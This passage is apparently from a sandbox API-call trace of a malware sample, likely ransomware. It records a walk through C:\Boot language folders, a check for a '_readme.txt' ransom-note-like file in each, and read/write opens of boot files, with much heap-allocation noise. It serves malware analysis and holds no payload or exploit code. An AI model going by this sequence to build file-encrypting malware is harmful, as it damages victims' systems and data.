nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.610] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.610] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.610] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned=".txt" [0059.610] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.610] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.610] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.611] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.611] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.611] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.611] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.611] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.611] PathFindFileNameW (pszPath="") returned="" [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.611] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.611] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.611] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.611] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.612] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.612] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0059.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.612] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned 1 [0059.612] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.612] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bd6370, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.612] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.612] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.612] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0059.612] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.613] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.613] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\_readme.txt") returned=".txt" [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.613] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bd6370, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bd6370, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.613] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.613] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5478 [0059.613] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.613] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.613] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.614] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.614] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.615] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.616] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.616] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.617] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.618] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.618] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0059.618] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.618] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.618] PathFindFileNameW (pszPath="") returned="" [0059.618] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.619] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.619] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.619] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.619] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0059.619] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0059.619] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.619] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bfc4d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bfc4d0, ftLastWriteTime.dwHighDateTime=0x1d53559, 